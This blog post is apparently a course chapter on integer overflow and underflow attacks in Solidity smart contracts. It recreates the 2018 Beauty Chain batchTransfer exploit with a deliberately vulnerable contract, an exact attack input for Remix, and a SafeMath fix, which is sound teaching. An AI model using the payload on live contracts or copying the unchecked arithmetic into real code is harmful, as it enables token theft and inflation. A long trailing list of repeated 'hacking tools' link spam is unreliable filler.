Friday, January 19, 2024

Smart Contract Hacking Chapter 3 – Attacking Integer Underflows And Overflows

 

Integer overflow and underflows often occur when user supplied data controls the value of an unsigned integer. The user supplied data either adds to or subtracts beyond the limits the variable type can hold. If you remember back to your computer science class, each variable type can hold up to a certain value length. You will also remember some variable types only hold positive numbers while others hold positive and negative numbers.  The types of numbers they are allowed to hold is based on their "signedness." An unsigned integer can only hold positive numbers while a signed integer can hold positive and negative numbers. We will get to the significance of that in a short bit.

If you violate the value constraints of the variable type you are using, the application may act in unintended ways. For example, the overflow may result in an error condition for accessing out of bounds items or perhaps cutting the number off at the maximum or minimum value. This usually depends on the language in use, the context in which the value is used or the decisions taken by the programmer when flagging error conditions. If un-handled, the error from an attacker's perspective is usually an opportunity for exploitation.

For example, if you were calculating a number for an authorization check within an application and the calculation contains an unchecked value with user-controlled data. Then an attacker may be able to bypass authorization restrictions with that user-controlled data and gain additional access to unintended services. For example, overflowing a larger unsigned value to a more advantageous value, such as zero or one, these lower values could bypass security checks. The first ("1") value in a dataset is often indicative of an administrator who set up the application and may create a situation to persist actions with administrative context.

In the Solidity language for Ethereum, when we overflow a uint value using a value larger than our uint can hold, the value wraps back around to a number it understands. The lowest or highest possible value the uint can hold. For example, if we have a variable that can only hold a 2-digit number when the number 99 is reached and then incremented one more time, we will end up with 00. Inversely if we had 00 and we decremented 1 we would end up with 99.

Normally in your math class the following would be true:

99 + 1 = 100

00 - 1 = -1

 

In solidity with unsigned numbers the following is true:

99 + 1 = 00

00 - 1 = 99

 

 

So, the issue lies with the assumption that a number will provide a correct value in mathematical calculations when indeed it does not. Comparing a variable with a require statement is not sufficiently accurate after performing a mathematical operation that overflows a value, but that does not check that the value is accurate in the context of the mathematical operation.

In an overflow conditions the comparison with a require statement may very well be comparing the output of an over/under flowed value and be completely meaningless. The "Require" statement may return true, but not based on the actual intended mathematical value.

This in turn will lead to an action performed which is beneficial to the attacker, for example, checking a low value required for a funds validation but then receiving a very high value sent to the attacker after the initial check. Let's go through a few examples.


Simple Underflow Example:

Let's say we have the following Require check as an example:

1.  require (balance - withdraw_amount > 0);

  

Now the above statement seems reasonable, if the users balance minus the withdrawal amount is less than 0 then obviously, they don't have the money for this transaction correct?

This transaction should fail and produce an error because not enough funds are held within the account for the transaction. But what if we have 5 dollars and we withdraw 6 dollars using the scenario above and our variable can hold 2 digits with an unsigned integer?

Let's do some math.

5 - 6 = 99

Last I checked 99 is greater than 0 which poses an interesting problem. Our check says we are good to go, but our account balance isn't large enough to cover the transaction. The check will pass because the underflow creates the wrong value which is greater than 0 and more funds then the user has will be transferred out of the account.

Because the following math returns true:

1.   require (99 > 0) 

 

 

Withdraw Function Vulnerable to an underflow

The below example snippet of code illustrates a withdraw function with an underflow vulnerability:

1.    function withdraw(uint _amount){
2.           require(balances[msg.sender] - _amount > 0);
3.           msg.sender.transfer(_amount);
4.                   balances[msg.sender] -= _amount;
5.    }

In this example, the require on line 2 checks that the balance is greater than 0 after subtracting the _amount. However, if the _amount is greater than the balance, it will underflow resulting in a large value greater than 0. So even though the require check should fail the check will return a true value.

After the check is under flowed, it will send the value of the original _amount on line 3 to the recipient without any further checks resulting in sending more funds then the user has.

To make matters worse, on line 4 another underflow exists, which increases the value of the senders account due to a similar underflow condition, even though the balance should have been reduced based on application logic.

Depending on how the "require" check and transfer functions are coded, the attacker may not lose any funds at all, while still transferring large sums of Ether to other accounts under the attacker's control. The attacker would achieve this by simply under flowing the require statements which checks the account balance before transferring funds each time.


Transfer Function Vulnerable to a Batch Overflow

Overflow conditions often happen in situations where you are sending a batched amount of values to multiple recipients. If you are performing an airdrop, sending tokens to 200 users, each receiving a large sum of tokens, checking the total sum of all users' tokens against the total funds may trigger an overflow. The logic when overflowed would compare a smaller value of overflowed tokens to the total tokens and seem like you have enough to cover the transaction.

For example, if your integer can only hold 5 digits in length or 00,000 what would happen in the below scenario?

You have 10,000 tokens in your account

You are sending 200 users 499 tokens each

Your total sent is 200*499 or 99,800

 

The above scenario should fail, and it does, since we have 10,000 tokens and want to send a total of 99,800. But what if we send 500 tokens each? Let's do some more math and see how that changes the outcome.

 

You have 10,000 tokens in your account

You are sending 200 users 500 tokens each

Your total sent is 200*500 or 100,000

New total is actually 0

 

This new scenario produces a total that is 0 even though each users amount is only 500 tokens. This may cause issues if a require statement is not handled with safe math functions to sanitize the mathematical output.

 

Let's take our new numbers and plug them into the below code and see what happens:

1.    uint total = _users.length * _tokens;
2.    require(balances[msg.sender] >= total);
3.    balances[msg.sender] = balances[msg.sender] -total;
4.   
5.    for(uint i=0; i < users.length; i++){ 
6.                   balances[_users[i]] = balances[_users[i]] + _value;

 

Below is the same code, but substituting the variables for our scenario's real values:

1.    uint total = _200 * 500;
2.    require(10,000 >= 0);
3.    balances[msg.sender] = 10,000 - 0;
4.   
5.    for(uint i=0; i < 500; i++){ 
6.                   balances[_recievers[i]] = balances[_recievers[i]] + 500;

 

 

Batch Overflow Code line by line Explanation:

1: The total variable equals 100,000 which becomes 0 due to the 5-digit limit. When a 6th digit is hit at 99,999 + 1 the total now becomes 0.

2: This line checks if the users balance is higher than the total value to be sent. Which in this case is 0 so 10,000 is more than enough and this check passes due to the overflow.

 

3: This line deducts the total from the sender's balance which does nothing since the total of 10,000 - 0 is 10,000.  The sender has lost no funds.

4-5: This loop iterates over the 200 users who each get 500 tokens and updates the balances of each user individually using the real value of 500 and this individual action does not trigger an overflow condition. Thus, sending out 100,000 tokens without reducing the sender's balance or triggering an error due to lack of funds. This is essentially creating tokens out of thin air.

In this scenario the user retained all of their tokens but was able to distribute 100k tokens across 200 users regardless if they had the proper funds to do so.

 

ERC20 Beauty Chain Batch Overflow Case-Study

Now that we understand what overflows and underflows are, we are going to take a closer look at a real-life hyperinflation attack from 2018. When a bunch of erc20 tokens incorrectly checked the results of mathematical calculations. This lack of safe checks led to exchanges freezing all erc20 token transfers.  We will first exploit this code from the original attack. We will then re-code the smart contract to protect against this attack.

The effected tokens in this attack used an insecure batch send function that was not protected from integer overflows. This is similar to our batch send example above. This vulnerability was copy pasted into many different tokens and when exploited it forced exchanges to suspend all erc20 token transfers until the issue was resolved.


ü   Let's first pull down the code and take a look at the vulnerable function.
ü   Then we will take a look at the actual payload on etherscan from the real attack to decipher 
     how it happened.
ü   Then we will exploit it ourselves.
ü   Then we will fix the issue and test our fix.

 

Action Steps:

ü   Review the following lines of code and see if you can spot the vulnerability

ü    Follow the attack on EtherScan and understand how the attack works

ü    Then watch the video walk and talk to solidify the process

 

 

Walkthrough of The Vulnerable Function

Below is the function from the ERC20 contract which had the initial vulnerability.  Also, a link to view the code for yourself on etherscan.  Just do ctrl+f search for the batch transfer function on the contract page.

https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code

 

1.  function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
2.          uint cnt = _receivers.length;
3.          uint256 amount = uint256(cnt) * _value;
4.          require(cnt > 0 && cnt <= 20);
5.          require(_value > 0 && balances[msg.sender] >= amount);
6.   
7.   
8.          balances[msg.sender] = balances[msg.sender].sub(amount);
9.          for (uint i = 0; i < cnt; i++) {
10.        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
11.              Transfer(msg.sender, _receivers[i], _value);
12.       }
13.      return true;
14.}

 

The issue with this function is it's performing a balance check against the amount on line 5 but that amount value comes from a mathematical operation on line 3 which has an overflow vulnerability.

You will see that the amount results from multiplying the length of the array times the value being sent. Since there are no checks that this mathematical operation does not overflow to a value lower than our balance, we can easily set the amount to 0 using a very large number as our _value.

When the actual balances are updated on line 10, we are not using the amount of 0, but instead we are using the initial large _value sent to the function, but this time there is no multiplication,  so it does not cause an overflow, it only updates the value to a very large number. 


Video Walking Through Vulnerable Code On-Chain:




 

Reviewing the Real Attack Transaction

Now let's take a look at an actual transaction that caused this overflow attack.

Below is the transaction from the overflow attack.  Also, a link to view the transaction for yourself on etherscan.  Just click the "click to see more" button and check out the "input data" section.

https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f


Function: batchTransfer(address[] _receivers, uint256 _value)

MethodID: 0x83f12fec

[0]:  0000000000000000000000000000000000000000000000000000000000000040

[1]:  8000000000000000000000000000000000000000000000000000000000000000

[2]:  0000000000000000000000000000000000000000000000000000000000000002

[3]:  000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033

[4]:  0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7

 

If you reviewed the transaction on chain you would see the above transaction data.

Let's go into a little detail as to what the transaction values are and how they were derived. This will help in understanding what is going on with this attack.

The data in the transaction can be broken down as the following

ü  A 4byte MethodID

ü  Five 32-byte values

The 4-byte MethodID which precedes the function parameters is the first 4 bytes of a sha3 hash of the batchTransfer method declaration minus the variable names and spaces. We can derive this sha3 value from the transaction by using the web3 utility functions and a substring of the sha3 output.

You can try this out with the following node commands.


$ npm install web3

$ node

> const web3 = require('web3')

> web3.utils.sha3("batchTransfer(address[],uint256)").substring(0,10)

'0x83f12fec'


The 5 parameters following the MethodID are defined as follows:

[0] Offset to the _recievers Array, length value: 40Hex or 64 bytes (2x32 = 64bytes to the Array length held at [2])

[1] This is the actual _value which is being sent that when multiplied causes an overflow. (A very large number)

[2] This is the size of the _recievers array sent to batch transfer in this case 2 addresses

[3] This is the first address from the _recievers array used in the batch transfer.

[4] This is the second address from the _recievers array used in the batch transfer.

 

Reviewing a Live On-Chain Attack Transaction: 



 

So, what this attack did was take a very large value from [2] and multiplied it times the length of the array which is the value 2. This creates an overflow condition that results in the value of 0.  Don't believe me, let's do it for ourselves with a simple function that calculates the value sent times two.

 

1.  pragma solidity ^0.6.6;
2.   
3.  contract noAuth {
4.          function amount(uint256 myAmount) public returns(uint){
5.              return myAmount * 2;
6.          }  
7.  }

 

 

Action Steps:

ü  Deploy the contract from above.

ü  First put in a low number like 5 and review the output window, what do you get?

ü  Now put in the attack value in hex for aka 0xnumber 0x8000000000000000000000000000000000000000000000000000000000000000

ü  What happened?

 

As you will see an amount of 0 results which will pass the checks allowing an attack to work. Resulting in a very large value sent as the _value variable to the user. Causing hyperinflation of the token.

 

Exploiting Our Own ERC20 Batch Overflow

This is pretty cool, but let's actually exploit this attack ourselves. I have taken the liberty of updating the function from Beauty Chain to meet the current compiler standards with a few small tweaks and some functions so you can check your balance during the stages of the attack. Deploy this contract and try to exploit it before reading the walkthrough!!

For this one you can type it out for practice or grab it from the github folder since this is a case study and not the normal learning material per say. I will allow laziness this one time.

https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/integerAttacks

 

pragma solidity 0.6.6;

 

contract BEC_Vuln {

    mapping (address=>uint) balances; 

 

    function batchTransfer(address[] memory _receivers, uint256 _value) public payable returns (bool) {

        uint cnt = _receivers.length;

        uint256 amount = uint256(cnt) * _value;

        require(cnt > 0 && cnt <= 20);

        require(_value > 0 && balances[msg.sender] >= amount);

   

        balances[msg.sender] = balances[msg.sender] - amount;

        for (uint i = 0; i < cnt; i++) {

            balances[_receivers[i]] = balances[_receivers[i]] + _value;

            //transfer(msg.sender, _receivers[i], _value);

        }

        return true;

     }

    

        function deposit() public payable{

            balances[msg.sender] = msg.value;

    }

 

        function getBalance() public view returns (uint){

            return balances[msg.sender];

    }

}

 

I slightly modified the vulnerable function from beautychain to work with the newer versions of solidity by adding in a few keywords and new syntax but this is basically the same code. Solidity requirements have changed a lot since version 4 when this was originally deployed. So I updated it to make it so you could actually deploy it without any issues in a newer version and learn the differences between versions.

Action steps:

ü  Using account 1 deploy the BEC_Vuln Contract and deposit some wei, maybe 2000.

ü  Check the value of account 1, account 2 and account 3.

ü  Send the attack from account 1 and perform a batch transfer by sending in an array of 2 addresses followed by the attack value in hex. See the below example for reference.

ü  Now check the values of the 3 accounts, what are they? What happened?

                    

Attack Input example for remix:

["0x4faa06F5759F5514f4BC76847558c3588E5f1caa","0xCAF83B10404A5c4D2207f9ACFF194733fAa460Ed"],0x8000000000000000000000000000000000000000000000000000000000000000

 

Exploiting The Beauty Chain Vulnerability: 



 

Fixing the ERC20 Overflow

Now let's take a quick look at fixing issues related to integer overflows and underflows. As always in application security, we should not try to roll our own security libraries. We should instead use opensource well vetted security libraries for coding projects. Ethereum is no exception to this rule and has its own opensource libraries from OpenZeppelin which handle anything from safe mathematical calculations to role based authentication. Below is a direct link to the safe math library you will now import into your BEC_Vuln.sol file and then fix the current overflow issues.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol

 

We will do this by using the following line under ae pragma solidity definition

pragma solidity 0.6.6;

import "PASTE OPENZEPPELIN LINK HERE";

 

With this import statement we will now have access to the math functions within safe math for example:

ü  Add

ü  Subtract

ü  Multiply

ü  Divide

These functions can be accessed with dot notation. For example in the following:

SafeMath.mul(value1, value2)

 

Action Step

ü  Locate all of the mathematical functions in the example

ü  Re-code all of them to match the above format

ü  Try your attack again, results? 

ü  How many did you find and update?

ü  What happened when you ran the attack again?

 

Safe Math Walk Through

We need to update all of the mathematical functions within our contract and then try our attack again. First try to locate all of these and update them according to the type of mathematical calculation.

You should have found 3 locations which need updating to comply with safe math standards These are shown below with the correct syntax needed to fix them with OpenZeppelin.  Apply these changes to your code if you have not already.

uint256 amount = SafeMath.mul(uint256(cnt), _value);

balances[msg.sender] = SafeMath.sub(balances[msg.sender],  amount);

balances[_receivers[i]] = SafeMath.add(balances[_receivers[i]],  _value);

 

If you apply the above fixes within your code then the returned values of the mathematical operations are double checked to make sure they make sense. For example, check out the OpenZeppelin code for multiplication:  

1.    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
2.           if (a == 0) {return 0;}
3.   
4.           uint256 c = a * b;
5.           require(c / a == b, "SafeMath: multiplication overflow");
6.           return c;
7.    }

 

Note that 2 parameters are taken into the function on line 1 which are our two values we are multiplying together. In our case our number of addresses in the array and the _value to send. These values are multiplied on line 4 and stored in the value c.

Then on line 5 the reverse operation Is performed on the result, dividing the returned value c by a and requiring that it is equal to the value of b.  If this was an overflowed and wrapped around back to 0 then this check would obviously fail as the number would be incorrect.

If this check fails an error condition is shown like the following:

 


If this check passes then the transaction finishes as normal and the transaction completes as intended.  Make sure that you re-code this and then run the attack again yourself. Review the output from the transactions for both. Also review the Add and the Subtract functions, which you also re-coded and make sure you understand how they are working as well. 

You can find the open zeppelin code at the link where you imported if from, or within remix where it was imported to a github folder path.  Review the code and use the functions in your applications to protect against math issues. If you are a penetration tester make sure that the contracts you are reviewing are using safe math functions whenever math is used.

 

Using OpenZeppelin Safe Math Libraries To Prevent Integer Attacks: 

 


 

Integer Attacks Summary

We went through what might have been an overwhelming number of concepts in this chapter regarding over/underflow scenarios. Make sure that you type out each of the examples and execute the code to understand what the issue is and how to spot it. Then re-code the examples to fix the issues.

 

Integer Attacks References

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.solRead more
  1. Black Hat Hacker Tools
  2. Blackhat Hacker Tools
  3. Hacking Tools 2020
  4. Wifi Hacker Tools For Windows
  5. Pentest Tools For Android
  6. Hacking Tools For Windows 7
  7. Hack And Tools
  8. Blackhat Hacker Tools
  9. Hacker Tools Free
  10. Pentest Tools Review
  11. Hack Tool Apk No Root
  12. Hack Tools
  13. How To Make Hacking Tools
  14. Install Pentest Tools Ubuntu
  15. How To Install Pentest Tools In Ubuntu
  16. Pentest Tools Download
  17. Pentest Automation Tools
  18. Hacking Tools 2020
  19. Hacker Tools For Windows
  20. Pentest Reporting Tools
  21. Hack Tools Github
  22. Pentest Tools Website Vulnerability
  23. Hacker Tools Apk
  24. Hacker
  25. New Hacker Tools
  26. Easy Hack Tools
  27. Hacking Tools For Windows 7
  28. Pentest Automation Tools
  29. Hacker Tools For Ios
  30. Hacker Tools Free Download
  31. Hacking Apps
  32. Termux Hacking Tools 2019
  33. Hacker Tools Github
  34. Wifi Hacker Tools For Windows
  35. Hackers Toolbox
  36. Pentest Box Tools Download
  37. Pentest Tools Nmap
  38. Blackhat Hacker Tools
  39. Pentest Tools Subdomain
  40. Physical Pentest Tools
  41. Hack Tools Pc
  42. Pentest Tools Website
  43. Usb Pentest Tools
  44. Pentest Tools Framework
  45. Hack Tools For Mac
  46. Beginner Hacker Tools
  47. Pentest Tools Kali Linux
  48. Pentest Box Tools Download
  49. Pentest Tools List
  50. Hacking Tools Name
  51. Hacker Tools 2020
  52. Pentest Tools Nmap
  53. Pentest Tools Windows
  54. Hacker Tools Linux
  55. Pentest Tools Windows
  56. Pentest Automation Tools
  57. Hacking Tools For Windows Free Download
  58. Install Pentest Tools Ubuntu
  59. Pentest Tools For Mac
  60. Hacking Tools
  61. Pentest Tools Linux
  62. Hack And Tools
  63. Tools Used For Hacking
  64. Hacking Tools Online
  65. Best Pentesting Tools 2018
  66. Hacking Tools Mac
  67. Hacking Tools Online
  68. New Hacker Tools
  69. Hacker Security Tools
  70. Black Hat Hacker Tools
  71. Hack Tools 2019
  72. Hack Apps
  73. Pentest Tools
  74. Pentest Tools Free
  75. Hacker Tools Hardware
  76. Kik Hack Tools
  77. Best Hacking Tools 2019
  78. Github Hacking Tools
  79. Usb Pentest Tools
  80. How To Make Hacking Tools
  81. Hacking Tools For Windows 7
  82. Pentest Tools Tcp Port Scanner
  83. Hack App
  84. Tools Used For Hacking
  85. Hacking Tools For Pc
  86. Hack Tool Apk
  87. Pentest Tools
  88. Hack Tools For Games
  89. Hack Tool Apk No Root
  90. Hacker Tools Apk
  91. Black Hat Hacker Tools
  92. Hackrf Tools
  93. Hacker Tools Apk Download
  94. Pentest Tools Website Vulnerability
  95. Pentest Tools Free
  96. Pentest Tools Website
  97. Hacker Tools Hardware
  98. New Hack Tools
  99. Hacker Tools Apk Download
  100. Nsa Hacker Tools
  101. Hacking Tools For Beginners
  102. Game Hacking
  103. Hacking Tools Usb
  104. Hack Tool Apk No Root
  105. Hacking Tools Software
  106. Hackers Toolbox
  107. Hacking Tools And Software
  108. Hacking Tools 2020
  109. Pentest Tools For Windows
  110. Hacking Tools For Windows
  111. Hack Tool Apk No Root
  112. Best Hacking Tools 2019
  113. How To Install Pentest Tools In Ubuntu
  114. Hacker Tools Apk Download
  115. Hacking Tools Usb
  116. Pentest Recon Tools
  117. How To Hack
  118. Game Hacking
  119. Ethical Hacker Tools
  120. Hacker Tools Software
  121. Hacking App
  122. Hacker Tools Software
  123. Hack Tool Apk
  124. Hacking Tools Software
  125. Hacking Tools Free Download
  126. Hacking Tools For Windows 7
  127. Pentest Tools Android
  128. Termux Hacking Tools 2019
  129. Hackers Toolbox
  130. Hacker Tools For Ios
  131. Nsa Hack Tools
  132. Top Pentest Tools
  133. Hacker
  134. Hacking Apps
  135. Hack Apps
  136. Hacker Tool Kit
  137. Pentest Tools Open Source
  138. Hacking Tools For Mac
  139. Pentest Tools Free
  140. Hack Tools 2019
  141. What Is Hacking Tools
  142. Hacking Apps
  143. Hacking Tools Kit
  144. Hacker Tools 2019
  145. Free Pentest Tools For Windows
  146. Hack Tool Apk No Root
  147. Hack Tool Apk No Root
  148. Hacker Tools List
  149. Hacking Tools For Beginners
  150. Hack And Tools
  151. Hacker
  152. Pentest Tools Android
  153. Hack Tools For Windows
  154. Hacker Tools Software
  155. Hackers Toolbox
  156. Nsa Hack Tools
  157. Hacking Tools For Windows 7
  158. Hacking Tools For Games
  159. Pentest Recon Tools
  160. Black Hat Hacker Tools
  161. Pentest Tools Review
  162. Pentest Tools For Windows
  163. What Are Hacking Tools
  164. Hack Tools For Pc
  165. Pentest Tools Github
  166. Hacking Tools Software
  167. Hacker Tools Windows
  168. Hacker Tools 2019
  169. Hacker Search Tools
  170. Underground Hacker Sites
  171. Game Hacking
  172. Hacking Tools For Kali Linux
  173. Hackers Toolbox
  174. Hacking Tools For Pc
  175. Hacking Tools Windows 10
  176. Hacker Tools Github
  177. Black Hat Hacker Tools

0 Comments:

Post a Comment

<< Home